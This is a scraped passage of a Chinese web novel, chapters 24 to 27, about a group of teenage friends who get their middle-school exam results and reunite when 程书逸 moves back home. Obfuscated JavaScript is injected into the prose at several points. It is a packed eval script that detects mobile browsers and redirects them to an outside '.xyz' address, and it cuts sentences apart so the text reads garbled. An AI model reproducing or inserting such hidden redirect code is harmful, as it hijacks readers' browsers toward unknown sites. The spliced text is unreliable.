程书逸觉得她今天看起来有点怪，但又说不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14964813|159763||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上来具体是哪儿怪。 他挠挠眉毛，正准备走，杨雅珺忽然抬头目光灼灼地直视他道：“程书逸，谢谢你把保送名额让给我。” 程书逸了然一笑，心想，原来是为了这个。 “没什么让不让的，学校本来就是在年级前十里面筛选，你成绩很好啊，被保送也是应该的。” 哪知杨雅珺听了他这话却摇摇头，神情坚定道：“我知道是你让给我的，不然凭你的成绩，这个保送二中的名额肯定是你的。” 程书逸没想跟她在这件事上过多的掰扯，于是故意语气轻松道：“那你说是就是吧。” 杨雅珺低下头轻轻地嗯了一声，又抬起头朝他笑了笑，说：“我听林总说你中考感觉很不错，估分好像过720了？看来有望拿市状元哦！” 程书逸谦虚道：“没那么夸张，只能说是有希望，我听林总说辰乐那边也出了两个估分过七百的，说不定今年市状元是辰乐的人。” 杨雅珺笑着说：“你要对自己有信心啊！我赌你是今年的市状元！” 程书逸也笑，说：“那就借班长吉言了。” 他俩平常其实很少闲聊，即便闲聊，说的最多的也就是跟学习和联赛相关的事。 程书逸以为她是想打听他的中考成绩，但眼见这个话题都说完了她也没有要走的意思，他就觉得事情有点不对劲了…… “班长……” “程书逸……” 两人同时开口，杨雅珺脸更红了，程书逸说：“你先说。” 杨雅珺犹豫了一下，接着深吸口气，好像做了什么重大决定似的抬头看他道：“程书逸，我……” “嗯？” 杨雅珺憋了半天，怎么都憋不出来“我喜欢你”这四个字，最后她放弃了，眼里划过一抹失落摇摇头道：“没什么，我还是后面再跟你说吧。” 程书逸笑笑，也没追问，只说了句好的。 两人一起往初三教学楼走的路上，杨雅珺忽然说了句：“不知道我们高中还会不会被分到同一个班。” 程书逸偏头看她一眼，说：“肯定不会了。” 杨雅珺刹住脚，转过头一脸错愕问：“你怎么知道？” 程书逸：“因为我没打算去二中。” 杨雅珺：“……” 杨雅珺愣住了，她忍不住流露出一丝着急道：“你不去二中你去哪儿？还有比二中更好的学校吗？” 程书逸点头道：“有啊。” 杨雅珺：“什么学校？” 程书逸：“云市四中。” 金灿灿的阳光穿透枝叶缝隙落在少年清俊眉眼上，他眼里的向往是她往日从不曾见过的。 杨雅珺怔怔道：“云市……是哪里？” 程书逸仿佛没有察觉到她的古怪，笑容温和疏离地回道：“我老家。” “那你以后还回海市吗？”杨雅珺又问。 程书逸看着她，没有回答她这个问题，只是说：“班长，以后就没法继续跟你当同学了，谢谢你初中三年的照顾，祝你未来一切顺利！” 杨雅珺心中一涩，怕忍不住眼泪于是没敢抬眼看他，只僵硬地点着头说：“谢谢，你也是。” “那我先走了。” “好，再见。” “再见。” 24. 卖废品 盛夏，蝉鸣聒噪。 梧桐苑小区内，收废品的师傅戴着草帽穿着汗衫抱着一大箱子东西从单元楼里出来，砰一声将箱子扔在地上，转头朝身后问道：“就这些吧？还有没有？” 烈日当空，天气实在是热，师傅楼上楼下跑了两趟，热得身上汗湿完了，他取了草帽来回扇着风，身后蒋博光一手提着一袋东西也出来了，往地上一甩，重重地出了口气道：“没了，我们这儿就这些了。是吧西宝？” 他转头往单元楼门口看。 “嗯！没了！”宋西宝答应一声，边嗦着冰棍，边玩着手机出来了，左右望望，奇怪道，“彤姐跟师爷呢？还没下来啊？” 蒋博光说：“不知道，估计还在收拾呢吧，要不你在这儿等他们吧？我先去找季苒。” 宋西宝头也不抬地嗯了声，说：“你去吧。” 蒋博光于是问师傅借了三轮车骑上，说：“师傅您先在这儿等等啊！我们那边还有个朋友也要卖废品，我们把东西装上再给您骑过来！” 师傅忙点头说好。 蒋博光前脚刚走，后脚周笃文跟方思彤就抱着箱子下来了。 几年过去，曾经的豆芽菜如今已变身为花生芽，瞧着壮实了不少，宋西宝瞧他一次性垒了两箱，惊了一跳：“嚯师爷！可以啊你！肌肉都练出来了！” 周笃文额上青筋绷起，走近了松手将箱子扔下，还没来得及喘两口气，听见身后一声惊叫，忙折身冲上前去接住了方思彤手里的箱子——单元楼门前有几级台阶，方思彤一个没当心，差点踩空了。 收废品的师傅问他们楼上还有没有？要不要帮忙搬？ 周笃文忙说要要要：“她旧书多得很，收拾出来好多要卖的，楼上都还有三四箱。” 师傅一听，忙戴上草帽说走走走，方思彤刚准备跟上去，周笃文拦住她道：“你跟西宝旁边歇着吧，我跟师傅上去搬。” 方思彤：“哦。” 如今的方思彤还跟小时候一样，留着蘑菇头，戴着框架眼镜，小小一张脸，眼神天然呆。 宋西宝招呼她：“彤姐，过来过来，给你看个东西！” “什么？”方思彤走过去。 宋西宝重新点开手机里的视频，高曝光下拍摄的校园场景不停变换，一会儿是教学楼一会儿是图书馆，还有操场、羽毛球场、网球场、天文实验室等等，过程中还伴随着某人随心所欲的解说。 方思彤好奇地问：“这是什么？” 宋西宝关了视频，说：“程书逸他们学校。” 她语气激动起来：“他们学校真的好豪华有没有？跟我们那个破学校一比简直就是贵族学校！最关键是他们学校那些什么球场啊实验室啊图书馆啊，这些地方全部对他们学生开放，想进就能进，不像我们学校，一个破图书馆修得就跟民房一样，还不让我们进！” 方思彤安慰她：“没事，反正已经毕业了。” 说起毕业，宋西宝更惆怅了。 中考结束后她是他们几个里面唯一一个没敢估分的，到现在也不知道自己到底考得怎么样？ 虽然她自我感觉这是她发挥得最好的一次，但是有句话不是说嘛，自我感觉越良好，最后死得越惨。 宋西宝叹了口气：“唉，我还不知道我到底考多少分呢！没准得跟博哥一起去读八中了。”她扭头看方思彤，“你估分多少？能上市一中吗？” 方思彤摇头，说：“估计悬。”又说，“我想上四中。” 云市最出名的两个学校，一个是市一中，一个是翔高中学，前者公立，后者私立，都是升学率能达到百分之九十五以上的学校。 市一中还是国家重点中学，而四中，是排在这俩学校后面的第二梯队，省重点，也很不错，但比起市一中还是要差点。 宋西宝说：“那你爸能同意吗？如果你的分数够的话，他肯定还是希望你进一中吧？” 在方家，有关方思彤的问题，基本都是她爸爸拿主意，因为方妈妈是个干基层工作的政府人员，每天忙得脚不沾地，比起家庭，她大部分的时间精力都奉献给了工作，从小就很少管方思彤。 方爸爸对方思彤管教严格，尤其是学习上，巴不得每一步都替她规划好，怎么可能随她自己心意想怎么干就怎么干呢？ 方思彤垂下眼睫踢了脚地道：“我没考好，进不了一中，他又能怎么办？” 宋西宝先点了点头，慢慢地品出这话有点不对劲，她歪着头从下往上看方思彤，方思彤斜眼看她，可能是心虚，不肯跟她对视，偏过头去了。 宋西宝吃了好大一惊：“你该不会——” 话没说完，方思彤转身笑着捂住她嘴不让她继续说了，旁边周笃文和师傅两人又搬东西下来了。 周笃文把箱子往地上一扔，抬起胳膊抹了把汗，问宋西宝：“博哥人呢？帮季苒搬东西去了吗？” 宋西宝奋力挣开方思彤，笑着答应了一声，周笃文奇怪地看她俩：“你俩笑什么呢？” 宋西宝跟方思彤俩人互相笑看一眼，宋西宝说：“我们女生的事你们男生少管！” 周笃文无奈地笑，连连点头：“行行，你们玩吧，我上去继续搬东西了。” 过了会儿，蒋博光骑车载着季苒还有一车废品也过来了，最后师傅给他们称了一下，按一公斤七毛钱算，五个人的废品加起来一共才卖了一百八十多块钱，连两百块钱都没有。 蒋博光从师傅手里接过钱举起其中一张红票对着太阳光眯眼瞧了瞧，转头自嘲一笑道：“咱们五个人的青春，加起来就卖了这么点，啧啧！” 周笃文单手叉腰，推了下眼镜，说：“博哥，你感性了哈！” 最后这一百多块钱，五个人拿着一起出去下了顿馆子。 饭桌上，蒋博光是唯一一个要了瓶啤酒的。 他长得牛高马大，又不爱刮胡子，脱了校服说自己是大学生也有人信。 老板再三问他成年没，他一个劲儿地说自己成年了，今天就是带弟弟妹妹们出来吃顿好的。 老板半信半疑把啤酒拿给他，旁边几个人都要笑疯了。 “占我们便宜啊博哥！”宋西宝拿筷子敲了下碗，“自罚三杯吧！” “别闹，这可是我初中三年换来的一瓶酒，得慢慢喝，慢慢品。”蒋博光神叨叨地给自己倒了一杯，一脸迷醉地尝了一口，咂嘴道，“过瘾！” “德性。”宋西宝嗤笑一声。 饭吃完还剩一点钱，刚好够他们每人买杯奶茶喝。俩男生被指挥着跑腿去买了奶茶，买完，五人便一路溜达去了南河边。 在他们小的时候，南河这边还比较荒凉，尤其是水厂废了以后，除了钓鱼的人基本就没什么人往这边来了。 不过这几年政府搞开发，逐渐把南河这边又重新建设起来了，还修了健康步道，水厂那片也被推平了，建了南河广场，现在每天南河边都是游人如织，热闹得很。 他们靠在河边石栏上发呆聊闲天，季苒忽然说：“时间过得好快啊，西宝你还记不记得那年我们三个一起到水厂来找废铁，结果你从房顶上摔下来的事？” 宋西宝说：“记得，怎么不记得，我还把程书逸手都给压断了呢！” 说起程书逸，蒋博光问：“他现在怎么样？你们还有联系吗？我跟他都没联系了。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14969141|159763||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 周笃文说：“我也没有。” 旁边季苒和方思彤也都跟着摇头表示自己也没有。 他们上次听说有关程书逸的消息还是去年他爸爸为救人去世那会儿，当时听西宝说完，大家都很震惊，季苒还哭了。 季苒哭是因为她们家曾经受过程方舟恩惠。 在她小的时候，有一次她爸妈闹离婚，她爸爸很生气地打了她妈妈，她妈妈想往楼下逃还被她爸追着打。 当时楼里看热闹的人很多，但就没人敢上前帮着拉一把，最后还是程方舟出面才制止了她爸爸的暴行。 后来她妈妈向法院申请起诉离婚，也是程方舟帮她妈妈找的律师打的官司。 “他挺好的，在他们学校简直是要风得风要雨得雨，班主任都请他吃饭呢！”宋西宝说。 周笃文问：“那他还回来吗？” 宋西宝摇头，说：“不回了吧……去年他跟我说他们班主任找他聊保送的事了，说是他们那儿最好的一所高中。” 其实那次聊天，程书逸只是跟她说了有这么件事，并没有说自己一定会被保送，但以宋西宝对他的了解，没把握的事他从来不说，所以她觉得他肯定是确定了自己能被成功保送才跟她说这事。 “我靠，那他岂不是都不用中考了？”蒋博光唰地站直了，眼里流露出了深深地嫉妒。 宋西宝唔了声，其实她也不知道程书逸最后有没有被保送，距离中考还剩两个月的时候她手机就被爸妈没收了，昨晚上才还给她。 她昨晚睡前给程书逸发消息说自己拿到手机了，今天早上才收到他的回复，说是他今天要去学校拿毕业证，然后他还发了张他们学校操场的照片给她，她顺势说了句想看看他们学校，然后紧跟着就收了一堆彩信视频。 反正废话说了一堆，她就忘了问他保送的事了，不过凭他的成绩，想来应该是没什么问题的。 “嗐，学霸的世界咱们凡人是望尘莫及了，博哥，高中我跟你混了！”宋西宝斜睨他一眼，顺手拍了拍蒋博光胸口。 “咳咳，你说话就说话，不要动手动脚的好不好？你自己什么力气自己心里没点数啊！母老虎！”蒋博光捂着胸口吐槽她。 宋西宝把奶茶往季苒手里一塞，扭头对着蒋博光摩拳擦掌，蒋博光一边往周笃文身后躲一边手指着她虚弱道：“你别以为你是女的我就不敢打你啊！” 一旁的季苒无奈地摇摇头看着他俩，转头同方思彤说：“他俩怎么什么都能吵起来？” 方思彤咬着吸管笑，说：“他俩不一直这样吗？” “也是。”季苒也笑了，手捧着两杯奶茶抬头望了望天，心里忽然有点伤感，“以后我们高中就不能在一起读书了，彤彤，你去了一中会想我们吗？” 方思彤说：“我去不了一中，我中考考砸了。” “啊？”季苒一下站直了，“可你成绩一直很好啊！” “马有失蹄，刚好就是这次考砸了，没办法。”方思彤偏头看着她耸耸肩。 季苒茫然道：“我怎么感觉你考砸了还很开心啊？是我的错觉吗？” 方思彤看她这傻样，没忍住笑出了声，说：“我就是很开心啊，你没感觉错。” 季苒慢慢回过了神，突然意识到了方思彤在开心什么——她去不了一中，那她就会去四中，如果自己的成绩不出差错，如果西宝这次真的发挥得很好，那她们三个就又能在一起读书了！ 季苒不好意思地笑了笑，挽住她胳膊靠在她肩上说：“其实我也有点开心，这样说是不是很不好……” “挺好的。”方思彤拍拍她脸，一口嗦干净了最后一颗珍珠。 25. 回来了 一个礼拜后，中考成绩出来了。 这天下午，宋西宝正躺在家里沙发上看《仙剑奇侠传三》。 这集的剧情正讲到神女夕瑶创造了雪见，宋西宝看得津津有味，旁边座机响了她看也没看，顺手接起来喂了一声—— “西宝呀！我是袁老师啊！你的中考成绩出来了！你中大奖了呀！哈哈哈哈！”老袁在电话那头笑成了一朵花。 宋西宝拿着苹果，懵了，从沙发上蹭地站起来，两口把嘴里的苹果嚼了咽了，问：“我中大奖了？” “是呀！你中考考了571分！天老爷，你初中哪一次考试上过五百五啊？你说这不是中大奖是什么？” “啊！”宋西宝大叫一声，拿着话筒左看右看，很想有个人现在能出现在她面前跟她一起分享这份喜悦，可惜家里这会儿就她自己，没别人。 “袁老师袁老师，那季苒呢？季苒考了多少分呀？” “季苒嘛还没查出来，我这会儿正在打电话一个一个地通知，好好好，先不说了啊，快去把成绩告诉你父母。” “知道了！谢谢袁老师！袁老师再见！” “再见再见！” “571……571……”宋西宝乐得嘴巴根本合不拢，在客厅狂打了一套组合拳才冷静下来。 她抻抻腿，活动了下肩膀，煞有介事地拿起座机给她妈谭淑媛女士打了个电话。 电话很快接通了，宋西宝清清嗓门，单刀直入对着话筒宣告道：“妈，我中考成绩出来了，你闺女我考了571分！” 话音落，宋西宝立刻把话筒拿远了些，等估计她妈叫得差不多了，才又拿近话筒得意道：“怎么样？这回你闺女给你争气了吧？” “……” “嘿嘿，那必须的！” “……” “嗯！我给你打完就给爷爷奶奶打电话报喜去！” “……” “我不知道啊，好像之前袁老师是说让我们自己去学校问，我回头再问问季苒吧，万一今年四中分数线涨了，我这分估计还是悬。” “……” “嘿嘿，谢谢妈妈，那你跟爸说我晚上想吃他做的炸酥肉还有可乐鸡翅！” “……” “嗯，那我先给爷爷奶奶打电话去了，拜拜。” 宋西宝挂了电话立马又给老家的爷爷奶奶打了电话，告诉了他们这个好消息。 奶奶对她这个分数没概念，不过听她这么高兴，知道肯定是很不错的，激动地连连夸奖她！爷爷也争着要跟她打电话，又问她什么时候回新阳去玩？ 宋西宝抱着话筒想了会儿，说：“唔……还不知道呢，应该要等各个学校的分数线出来，然后把名报了再回来。” “好好！不急不急，报名这个事不是小事，乖宝你要跟爸爸妈妈多商量多研究，想好了再报知道吗？”爷爷在电话里说。 “嗯！知道啦爷爷！等我报完名确定好读哪个学校了我再给你们打电话！” “好好！” 奶奶又抢着叮嘱她道：“最近天气大，乖宝你不要中暑了哦！多喝水！” “知道啦奶奶！那我先不跟你们说了哦，我要去找我朋友问问她们考得怎么样？爷爷奶奶再见！” “再见再见！出去玩要注意安全啊宝宝！” “知道啦！” 挂了电话，宋西宝隐身登上扣扣，开始在他们几个人的小群里狂轰滥炸发消息： 【最近爱吃炸土豆：朋友们！！】 【最近爱吃炸土豆：朋友们！！】 【最近爱吃炸土豆：刚老袁给我打电话，我中考成绩出来了！！】 【心碎?了無佷：这么快！我咋还没接到电话？你考了多少？】 【师爷：我也接到电话了。】 【最近爱吃炸土豆：你猜→_→】 【血燃彼岸花フ：我成绩也出来了。】 【心碎?了無佷：我靠凭什么你们的都出来了我的还没出来，难道是因为我考得太好了？】 【师爷：楼上这位建议洗洗脑子，已经出现幻觉了……】 【心碎?了無佷：@最近爱吃炸土豆你到底考了多少？】 【心碎?了無佷：@师爷@血燃彼岸花フ还有你俩】 【最近爱吃炸土豆：571】 【血燃彼岸花フ：628】 【血燃彼岸花フ：牛啊老大！】 【师爷：583】 蒋博光正在家啃西瓜，一看宋西宝那分数，惊得骂了句脏话，嘴里的瓜也顺势喷了出去。 【心碎?了無佷：@最近爱吃炸土豆？？？？】 【最近爱吃炸土豆：不好意思，姐又悄悄进步了。】 【心碎?了無佷：不是说好了跟我混八中吗？叛徒！】 【旧时光：啊啊啊啊我来晚了！刚才跟袁老师打完电话！我我我我】 【最近爱吃炸土豆：你你你，你咋了？考多少啊？】 季苒稳住心神，手却还在抖，她慢慢打字道： 【旧时光：我考了632，加上优秀干部的十分加分，最后总分应该是642】 屏幕上刷过一列感叹号和粗鲁词语。 宋西宝舔舔嘴皮，盘腿坐在沙发上飞速打字道： 【最近爱吃炸土豆：你这分是不是都够上一中了，去年一中分数线多少啊？】 【血燃彼岸花フ：614】 【师爷：今年题简单一点，分数线估计要涨，不过季苒这分应该是可以上一中了。】 【最近爱吃炸土豆：太牛了季老师！！】 【旧时光：可是我想去四中跟你们一起T^T】 【最近爱吃炸土豆：四中前年分数线578，去年567，你这分去四中有点吃亏了吧？】 【心碎?了無佷：我的分终于出来了……】 【心碎?了無佷：没有人关心一下我考多少分吗？】 【师爷：说吧兄弟，四百几？】 【心碎?了無佷：老子上五百了好不好！】 【心碎?了無佷：524，八中预备役哈哈哈哈哈】 【血燃彼岸花フ：挺好了，我记得是你考最好的一次了吧？】 【心碎?了無佷：是嘞！我还是知足了哎呀】 【心碎?了無佷：不过彤姐你这……算考砸了吧？】 【血燃彼岸花フ：砸了。但问题不大。】 当事人表现得这么轻松，倒显得他们这些旁观者的操心有点多余了。 大家在群里说说笑笑，很快把话题带向了下一个，只有周笃文没忍住，私聊了宋西宝： 【师爷：彤姐没事吧？】 【最近爱吃炸土豆：没事，我跟她聊过了，她就是不想听她爸的去一中，她想去四中。】 【师爷：你是说她是故意考砸的？】 【最近爱吃炸土豆：不确定是不是故意，但我感觉肯定有故意的成分。】 【师爷：她爸知道了得撕了她吧？】 【最近爱吃炸土豆：没事，彤姐说她演技一流。】 【师爷：……好吧。】 【师爷：我俩这分上四中估计有点悬，我爸刚说要去找人问问，想想办法。】 【最近爱吃炸土豆：这还能想啥办法？】 【师爷：找关系交高价。】 【最近爱吃炸土豆：我家可交不起，先看看吧，等过两天分数线出来了再说，不行我就跟博哥去八 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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还有就是…… 程书逸看老妈表情，知道她在担心什么，安抚她道：“妈你放心，我不会拿自己前途开玩笑的，不管西宝能不能上四中，我就读四中。” 古晓琴心口微松，点点头道：“你自己的事情自己拿主意，妈妈只希望你做任何决定都要想清楚后果，并且你自己要有勇气去承担这个后果，嗯？” “嗯，我知道。”程书逸点头。 古晓琴摸摸他脸：“乖，快收拾吧。” 另一边，宋西宝等了好一会儿程书逸才回她消息，她还以为这么长时间他憋什么夸奖她的小作文了呢，结果打开一看就一句： 【美梦成真了，恭喜。】 宋西宝又问他考得如何？程书逸回了个数字，宋西宝一看，下巴都差点惊掉。 【这么高？？？？你就扣了26分？？？】 【你有意见？】 呵，她意见大了。 宋西宝咬牙切齿的编辑了快讯发到“六脉神剑”的小群里： 【最近爱吃炸土豆：天杀的你们知道程书逸中考考了多少分吗？】 【最近爱吃炸土豆：他考了724！！！这是人能考出来的分数吗？】 她在群里发泄完，正准备给程书逸回消息，突然群里跳出来周笃文发的一个问号： 【师爷：？】 【师爷：你不是说他被保送了吗？怎么还参加中考了？】 【旧时光：可能他天生喜欢考试哈哈。】 【心碎?了無佷：这么变态吗？】 【最近爱吃炸土豆：我问问。】 宋西宝打字回完群里，又紧跟着给程书逸发了消息： 【你不是说你被保送什么二中还是三中了吗？你怎么还参加中考了啊？】 【我没说我要答应保送啊】 嘿，他还炫耀上了。 【你为啥不答应保送啊？】 【因为我要回云市读高中。】 【？？？】 【惊不惊喜？意不意外？】 26. 再相逢 程书逸发完那句“惊不惊喜意不意外”后宋西宝就没动静了。 他收拾好最后一箱书，咬着嘴皮退回到书桌边靠着，头发在晚霞的映照下闪闪发光，就连扑闪的睫毛都变得像是沾了金粉似的。 他略微犹豫之后还是把短信发出去了，问她： 【怎么，你不欢迎我回来吗？】 短信刚发出去对面就回过来了，他微微站直身体，点开： 【肯定欢迎啊！我刚跟其他人说了你要回来的事，大家都可开心了，我们还想着说等你回来给你接风洗尘呢！】 少年微微弯起唇角，挺拔俊秀的身影被金灿灿的晚霞投影到了一旁的白墙上，他下巴微扬，剪影美得像一幅画。 忽然，那影子身后竖起一根毛茸茸的尾巴晃了晃，瞧着就像是少年成了精，不小心因为喜悦的心情暴露了真身似的。 程书逸合上手机，手转到身后将肥嘟嘟的饼干一把捞了起来。 饼干瞪着圆溜溜的大眼睛冲他喵喵叫表示不满，程书逸轻哼一声，威胁它道：“等我们回了梧桐苑，就有比你更凶的了，到时候我看你俩谁凶谁！” 仿佛是听懂了自己的前途未卜，恼羞成怒的饼干嗷地一嗓子从他手里扭脱了身，逃跑前顺便还给了他一爪子——威胁谁呢？无知小儿！ 程书逸：“……” 中考成绩出来后的第二天，云市各大中学便逐一公布了自己的分数线，其中一中和翔高作为第一梯队，分数线一个划在620，一个划在617；四中分数线571，宋西宝一分不多一分不少，刚刚好，踩线过，真可谓是走了大运！ 方思彤家里为了她到底是去一中还是去四中吵翻了天，最后因为四中那边政策更好，直言方思彤这个分数去了就是重点班，方爸才松口带着她去四中报名了。 季苒本来也想去四中，但她分数摆在那儿，别说季妈妈不答应，就是老袁都不会答应。 季苒不是恩将仇报的人，当初老袁力排众议直接把加分的名额给了她，就冲这份情，她也得听袁老师的，乖乖去一中。 所以老话说人算不如天算，原本她们三个里面，最不可能上四中的就是方思彤和宋西宝，结果最后变数最大的两个都上了，反而是稳上四中的季苒出了变数。 不过还好是好的变数，季苒虽然有点郁闷，但中考考这么好，她心里还是很开心的。 俩男孩——蒋博光“金口玉言”去了八中，周笃文也如愿凭自己的本事进了四中，没交成高价的周老板因此省了一大笔钱，一开心，索性给他们几个孩子一人封了一个大红包，然后请上几家人一起去酒楼吃了个饭。 报名的事结束后，属于他们的真正的假期开始了。 方思彤被爸妈带着去了三亚表姐家玩，季苒和蒋博光都去外地找爸妈了，周笃文被他的小姑姑拉着说是出国要去东南亚玩，宋西宝本来想跟着方思彤一起去三亚，但是最后架不住爷爷奶奶天天催，还是先回了趟老家新阳。 她前脚刚走，后脚程书逸就搬回梧桐苑了。 大人们一见面就是叙不完的旧，饭桌上程书逸表面上安安静静吃着饭，实际手在桌子底下发短信飞快： 【你爸真能喝，借着给我妈敬酒的机会一口气连干了三杯白的，我看见淑媛阿姨揪他了哈哈。】 短信发出去后，过了会儿，宋西宝给他回过来一张照片，也是桌子上摆着一杯酒，看颜色稍微有点浑，像白的又像是米酒。 【你喝白酒？】 【我爷爷给我倒的，他说这个酒不醉人，让我尝一杯。】 【你别喝醉了。】 【不会醉的。】 【你什么时候回来啊？】 【下个月吧】 【那还要12天……】 【这个酒好喝诶！有点甜，但还是有酒味！】 【少喝点，喝醉头会疼的。】 【程书逸，你要不弄个扣扣吧，这样发短信好麻烦啊】 【哦，我明天看看。】 【嗯，这是我扣扣号：3XXXXXXXXX，你记得加我，我拉你进群。】 【好。】 一晃十二天过去了，宋西宝还没从老家回来，周笃文先从泰国玩完回来了。 除了宋西宝，其他人程书逸那可是实打实地五年多没跟他们见过了，一见面，他还拘谨着，周笃文先热情地给了他一个拥抱。 程书逸都被他抱傻了。 周笃文看他表情，忙解释说：“这是西宝给我们出的主意，她说你刚回来看见我们肯定很不习惯，说你太腼腆了，让我们主动点，见到你表现得热情点。”他挠挠头，“她又没说要怎么热情，我就自由发挥了，不会热情过头了吧……” 程书逸被他的表情和动作逗笑了，还真就一下子不拘谨了。 他上下打量周笃文几眼，主动说：“你看着好像比小时候结实了不少。” 周笃文：“你这不废话吗？那会儿我才多少岁？我现在长大了呀！” 程书逸哈哈大笑，周笃文也跟着笑，五年时间制造出的陌生在这一瞬间冰消雪融，周笃文看着他，诚心诚意地说了一句：“程书逸，你回来真好，我们都挺想你的。” 程书逸挑眉，问：“这话也是宋西宝教的？” 周笃文哈哈大笑，说：“看破不说破哈！” 宋西宝回来那天特地给程书逸发了消息让他去车站接她，程书逸嘴巴上说嫌她麻烦，但行动上还是很积极的，问清楚她到站时间后，一大早就起来了，结果在车站硬生生枯等了两个多小时。 车到站后，宋西宝背上背着一大坨，手里还提着两大坨下车了，她挤在人堆里往出站口走，要不是她个高，程书逸差点都没瞧见她。 宋西宝刚出站，还没来得及抬头看，一道人影就站在了她面前，紧接着一双白皙、骨节分明的手出现她视线里，从她手里拿走了沉甸甸的袋子—— “你这提的都是什么啊这么重？”程书逸边说边低头往袋子里看。 宋西宝瞧见他双眼一亮，差点直接蹦他身上去：“程书逸！你回来啦！” 她突然逼近，还睁着一双亮晶晶的大眼睛对着他笑，程书逸心口漏跳一拍，好险没被她给吓死：“你喊什么？” 他左右看看，见有人往他们这边望，忙拽着她往外走： ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14980221|159763||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “慢死了你。” 宋西宝：“哪里有慢？我跟你说了我十一点半到车站啊！你等多久了？” 程书逸：“没等多久，刚来。” 宋西宝：“那你还说我慢！” 程书逸：“我就说！” 宋西宝白他一眼，又蹦蹦跳跳凑近撞他肩膀问：“饼干呢？它在不在家里？我等下想去找它玩！” 程书逸：“在啊，不过它胆子很小，一听见敲门声就往床底下躲，你不一定见得到它。” 宋西宝才不听这些呢，眼睛一瞟，远远地瞧见他们要坐的车开过来了，忙拽着他往公交站台跑：“快快，52路车来了——” 两人急匆匆上了公交车，这趟车人有点多，程书逸把她拉到身前护着，又让她把背包取下来给他。 宋西宝逗他，故意眼神怀疑地看着他问：“你行不行哦？” 程书逸翻个白眼，懒得跟她废话，直接上手拿走了背包。 车往市里开的路上，程书逸视线向下看着身前女孩头顶上的发旋，一不小心走了个神。 他试图回忆，她小时候头发有这么长吗？好像没有吧？他记得她那会儿总是扎个短短的马尾在院子里疯跑，好像还有点自然卷，怎么现在头发变得这么直了？ 天气热，公交车上人又多，宋西宝披散着头发热得后脖颈里闷了一圈汗，车行过大桥时，她有些受不了地拎起头发给自己脖子扇了扇风，程书逸为了避免被她的头发碰到，头不自然地往后仰着，但一阵淡淡的发香还是窜进了他的鼻子里。 他正在脑子里思考她用的洗发水是什么味道时，宋西宝忽然扭过头问他：“对了，你最后报的哪所学校啊？我都忘了问你了。” 他俩距离实在太近，程书逸喉结上下滚动了一下，眼神不自然地挪向窗外道：“四中。” “啊？”宋西宝皱眉道，“你不去一中吗？一中才是国重啊！” 程书逸泰然自若道：“四中给我的条件更好。” 宋西宝才知道学霸还有这种待遇，她一副土老帽儿的表情问：“啥条件啊？” 程书逸说：“给我钱。” 宋西宝：“……” 真朴实啊。她也想要。 最后临到下车程书逸也没告诉她四中到底给了他多少？ 宋西宝因为不高兴气冲冲走在最前面，到了家，她从程书逸手里接过书包，然后又从包里取出一袋子东西塞给他道：“给你的，我才不像某些人那么小气！哼！” “这什么？”程书逸问。 宋西宝说：“自己看！” 程书逸打开袋子看了眼，发现这是一袋子酥糖。 “热死了，我得去冲个凉换身衣服，你自己随便坐会儿吧，等我洗完澡我再跟你一起过去找饼干玩。”宋西宝说。 程书逸愣愣地哦了一声。 宋西宝进卧室去了，他四处看看，有点茫然地抱着一袋子酥糖走到沙发边坐下了。 “程书逸——” 卧室的门又拉开条缝。 “啊？”他扭过身。 宋西宝歪着头露出半边眼睛朝他笑：“欢迎你回来。” 27. 开学 宋西宝洗完澡重新换了身衣服，穿了条湖蓝色的连衣裙。 她头发已经很长了，都快到腰的位置了。 她站在镜子跟前比划着挑选发箍，选来选去最后在一个红色绒布面的发箍和淡鹅黄的塑料发箍里为难。 她转过身问程书逸：“程书逸，你说我带哪个好看啊？” 程书逸只瞟了她一眼就把视线收回来了，心不在焉地含糊道：“红的吧。” 他们已经长大到了青春的年纪，宋西宝再也不是小时候那个糊着满脸泥还龇着大牙乐的小皮猴了，她的身体已经开始发育，也逐渐意识到了自己是个女孩，开始有了爱美打扮的心，她变得太快、太美，让他几乎有点不敢正眼看她。 “行，听你的。” 宋西宝把淡鹅黄的发箍放回去，对着镜子戴上了红色绒布面的发箍，又稍微整了整耳朵两边的碎发，正臭美呢，程书逸的声音忽然从旁边冒出来，吓了她一跳—— “你以前头发不是自然卷吗？怎么现在变这么直了？” 程书逸靠着洗手间门框问，同时眼睛瞟向镜子里的她。 宋西宝脖子一缩，拍着胸口翻白眼：“你走路没声音啊！”又嘀咕道，“小时候嘛是有点卷，我妈说不好给我梳头，六年级的时候就带我去烫直板了，后面又烫了两次，反正现在再长出来的头发就这样了，不卷了。” 